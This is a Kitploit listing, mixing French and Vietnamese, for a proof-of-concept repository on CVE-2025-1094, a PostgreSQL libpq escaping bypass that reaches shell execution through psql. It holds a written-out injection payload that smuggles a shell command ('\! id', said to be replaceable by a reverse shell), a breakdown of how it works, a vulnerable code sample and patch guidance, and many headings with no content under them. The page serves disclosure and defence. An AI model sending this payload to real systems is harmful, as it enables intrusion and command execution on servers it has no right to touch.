POC-CVE-2025-1094 — Exploit de preuve de concept pour CVE-2025-1094, une injection SQL psql PostgreSQL menant à RCE via le contournement de l'échappement libpq. Comprend un environnement Docker, un script d'exploitation et des conseils d'atténuation. | Kitploit

PQescapeLiteral

.
├── docker-compose.yml       # Khởi động PostgreSQL + Web App
├── exolit.py               # Exploit script - Tấn công từ bên ngoài
├── README.md               # Tài liệu này
└── app/
    ├── app.py             # Flask Web App - Tiếp nhận input user
    ├── Dockerfile         # Build image chứa vulnerable code
    └── init_db.sql        # Khởi tạo database

Composant	Valeur	Signification
Données d'entrée	`hax`	Données normales ordinaires
Octet spécial	`\xc0`	Octet UTF-8 invalide - contourne l'échappement
Guillemet	`'`	Guillemet simple « fantôme » - passe à travers le filtre
Fin de SQL	`;`	Termine la requête SQL en cours
Méta-commande	`\!`	Commande spéciale de psql - sort vers le shell du système d'exploitation
Commande shell	`id`	Commande à exécuter (remplaçable par un reverse shell)
Commentaire	`#`	Commentaire SQL - neutralise le reste de la requête

1. Input user: hax\xc0'; \! id; #
   ↓
2. PQescapeLiteral() không nhận ra \xc0 + ' là tấn công
   ↓
3. Chuỗi được gửi tới psql: hax\xc0'; \! id; #
   ↓
4. psql phân tích: đoạn \xc0 được coi là kết thúc chuỗi
   ↓
5. Meta-command \! được kích hoạt
   ↓
6. Lệnh shell id được thực thi với quyền của container

# ❌ KHÔNG: Sử dụng subprocess + psql
subprocess.run(['psql', '-c', user_input])

# ✅ CÓ: Sử dụng parameterized queries với psycopg2
import psycopg2
conn = psycopg2.connect("...")
cursor = conn.cursor()
cursor.execute("SELECT * FROM users WHERE name = %s", (user_input,))

Version	Version sûre
17.x	≥ 17.3
16.x	≥ 16.7
15.x	≥ 15.11
14.x	≥ 14.16
13.x	≥ 13.19

POC-CVE-2025-1094

Populaires

Cause racine

Deux mécanismes d'attaque principaux :

2. Structure du répertoire du projet

Composants principaux :

3. Analyse du payload d'attaque

Exemple de payload

Décodage de chaque composant :

Processus d'exécution :

4. Guide d'utilisation

Méthode 1 : Utilisation de Docker Compose (recommandée)

Étape 1 : Démarrer l'environnement

Étape 2 : Attendre le démarrage des conteneurs

Étape 3 : Exécuter l'exploit

Étape 4 : Arrêter l'environnement

Méthode 2 : Utilisation de Burp Suite (manuelle)

Envoi d'une requête HTTP

Référence de l'encodage URL :

Payload de reverse shell :

5. Correction et prévention

A. Appliquer les correctifs

B. Vérification de l'encodage

C. Limiter l'utilisation de la CLI psql

D. Principe du moindre privilège (Least Privilege)

E. Règles WAF / IDS

📚 Références